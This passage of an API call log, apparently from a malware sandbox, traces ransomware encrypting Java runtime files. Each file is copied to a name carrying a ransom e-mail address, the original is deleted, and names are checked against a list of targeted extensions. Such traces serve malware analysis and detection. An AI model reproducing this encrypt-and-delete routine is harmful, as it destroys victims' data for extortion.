lpOverlapped=0x0) returned 1 [0239.757] SetEndOfFile (hFile=0x4e8) returned 1 [0239.757] CloseHandle (hObject=0x4e8) returned 1 [0239.757] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.758] SetEndOfFile (hFile=0x4e4) returned 1 [0239.760] CloseHandle (hObject=0x4e4) returned 1 [0239.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0239.761] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0239.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.762] lstrlenW (lpString=".doc") returned 4 [0239.762] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".docx") returned 5 [0239.762] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0239.762] lstrlenW (lpString=".pdf") returned 4 [0239.762] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".xls") returned 4 [0239.762] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".xlsx") returned 5 [0239.762] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0239.762] lstrlenW (lpString=".ppt") returned 4 [0239.762] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.762] lstrlenW (lpString=".zip") returned 4 [0239.762] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".rar") returned 4 [0239.762] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".bz2") returned 4 [0239.762] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString=".7z") returned 3 [0239.762] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0239.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.762] lstrlenW (lpString=".dbf") returned 4 [0239.762] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0239.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString=".1cd") returned 4 [0239.763] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString=".jpg") returned 4 [0239.763] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString=".doc") returned 4 [0239.763] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".docx") returned 5 [0239.763] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0239.763] lstrlenW (lpString=".pdf") returned 4 [0239.763] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".xls") returned 4 [0239.763] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".xlsx") returned 5 [0239.763] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0239.763] lstrlenW (lpString=".ppt") returned 4 [0239.763] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString=".zip") returned 4 [0239.763] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".rar") returned 4 [0239.763] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".bz2") returned 4 [0239.763] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0239.763] lstrlenW (lpString=".7z") returned 3 [0239.763] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0239.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.763] lstrlenW (lpString=".dbf") returned 4 [0239.764] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0239.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.764] lstrlenW (lpString=".1cd") returned 4 [0239.764] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0239.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0239.764] lstrlenW (lpString=".jpg") returned 4 [0239.764] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0239.764] lstrcmpiW (lpString1=".access", lpString2=".love$") returned -1 [0239.764] lstrlenW (lpString="jmxremote.access") returned 16 [0239.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.767] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3998) returned 1 [0239.767] CloseHandle (hObject=0x4e4) returned 1 [0239.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0239.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.768] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.768] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.820] GetLastError () returned 0x0 [0239.820] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0239.822] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0239.823] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.823] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf4, lpOverlapped=0x0) returned 1 [0239.824] SetEndOfFile (hFile=0x4e0) returned 1 [0239.824] CloseHandle (hObject=0x4e0) returned 1 [0239.824] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.824] SetEndOfFile (hFile=0x4e4) returned 1 [0239.827] CloseHandle (hObject=0x4e4) returned 1 [0239.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0239.828] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0239.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.828] lstrlenW (lpString=".doc") returned 4 [0239.828] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0239.828] lstrlenW (lpString=".docx") returned 5 [0239.829] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0239.829] lstrlenW (lpString=".pdf") returned 4 [0239.829] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".xls") returned 4 [0239.829] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".xlsx") returned 5 [0239.829] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0239.829] lstrlenW (lpString=".ppt") returned 4 [0239.829] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString=".zip") returned 4 [0239.829] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".rar") returned 4 [0239.829] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".bz2") returned 4 [0239.829] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".7z") returned 3 [0239.829] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString=".dbf") returned 4 [0239.829] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString=".1cd") returned 4 [0239.829] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString=".jpg") returned 4 [0239.829] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.829] lstrlenW (lpString=".doc") returned 4 [0239.829] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0239.829] lstrlenW (lpString=".docx") returned 5 [0239.829] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0239.830] lstrlenW (lpString=".pdf") returned 4 [0239.830] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString=".xls") returned 4 [0239.830] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString=".xlsx") returned 5 [0239.830] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0239.830] lstrlenW (lpString=".ppt") returned 4 [0239.830] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.830] lstrlenW (lpString=".zip") returned 4 [0239.830] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString=".rar") returned 4 [0239.830] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString=".bz2") returned 4 [0239.830] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString=".7z") returned 3 [0239.830] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0239.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.830] lstrlenW (lpString=".dbf") returned 4 [0239.830] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.830] lstrlenW (lpString=".1cd") returned 4 [0239.830] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0239.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0239.830] lstrlenW (lpString=".jpg") returned 4 [0239.830] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0239.830] lstrcmpiW (lpString1=".template", lpString2=".love$") returned 1 [0239.831] lstrlenW (lpString="jmxremote.password.template") returned 27 [0239.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.832] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=2856) returned 1 [0239.832] CloseHandle (hObject=0x4e4) returned 1 [0239.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0239.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.833] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.833] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.833] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.833] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.836] GetLastError () returned 0x0 [0239.836] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xb28, lpOverlapped=0x0) returned 1 [0239.838] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xb30, lpOverlapped=0x0) returned 1 [0239.840] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.840] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0239.840] SetEndOfFile (hFile=0x4e0) returned 1 [0239.840] CloseHandle (hObject=0x4e0) returned 1 [0239.840] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.840] SetEndOfFile (hFile=0x4e4) returned 1 [0239.845] CloseHandle (hObject=0x4e4) returned 1 [0239.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0239.845] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0239.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.846] lstrlenW (lpString=".doc") returned 4 [0239.846] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0239.846] lstrlenW (lpString=".docx") returned 5 [0239.846] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0239.846] lstrlenW (lpString=".pdf") returned 4 [0239.847] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0239.847] lstrlenW (lpString=".xls") returned 4 [0239.847] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0239.847] lstrlenW (lpString=".xlsx") returned 5 [0239.847] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0239.847] lstrlenW (lpString=".ppt") returned 4 [0239.847] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0239.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.847] lstrlenW (lpString=".zip") returned 4 [0239.847] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0239.847] lstrlenW (lpString=".rar") returned 4 [0239.847] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0239.847] lstrlenW (lpString=".bz2") returned 4 [0239.847] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0239.847] lstrlenW (lpString=".7z") returned 3 [0239.847] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0239.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.847] lstrlenW (lpString=".dbf") returned 4 [0239.847] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0239.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.847] lstrlenW (lpString=".1cd") returned 4 [0239.847] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0239.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.847] lstrlenW (lpString=".jpg") returned 4 [0239.847] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0239.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.850] lstrlenW (lpString=".doc") returned 4 [0239.851] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".docx") returned 5 [0239.851] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0239.851] lstrlenW (lpString=".pdf") returned 4 [0239.851] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".xls") returned 4 [0239.851] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".xlsx") returned 5 [0239.851] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0239.851] lstrlenW (lpString=".ppt") returned 4 [0239.851] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0239.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.851] lstrlenW (lpString=".zip") returned 4 [0239.851] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".rar") returned 4 [0239.851] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".bz2") returned 4 [0239.851] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0239.851] lstrlenW (lpString=".7z") returned 3 [0239.851] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0239.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.851] lstrlenW (lpString=".dbf") returned 4 [0239.851] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0239.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.851] lstrlenW (lpString=".1cd") returned 4 [0239.851] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0239.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0239.852] lstrlenW (lpString=".jpg") returned 4 [0239.852] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0239.852] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0239.852] lstrlenW (lpString="management.properties") returned 21 [0239.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.853] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=14630) returned 1 [0239.853] CloseHandle (hObject=0x4e4) returned 1 [0239.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0239.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.854] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.854] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.854] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.855] GetLastError () returned 0x0 [0239.855] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x3926, lpOverlapped=0x0) returned 1 [0240.276] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x3930, lpOverlapped=0x0) returned 1 [0240.277] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.278] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfe, lpOverlapped=0x0) returned 1 [0240.278] SetEndOfFile (hFile=0x4e0) returned 1 [0240.278] CloseHandle (hObject=0x4e0) returned 1 [0240.278] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.278] SetEndOfFile (hFile=0x4e4) returned 1 [0240.717] CloseHandle (hObject=0x4e4) returned 1 [0240.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.718] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0240.720] lstrlenW (lpString=".doc") returned 4 [0240.720] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".docx") returned 5 [0240.720] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.720] lstrlenW (lpString=".pdf") returned 4 [0240.720] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".xls") returned 4 [0240.720] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.720] lstrlenW (lpString=".xlsx") returned 5 [0240.720] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.720] lstrlenW (lpString=".ppt") returned 4 [0240.720] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned 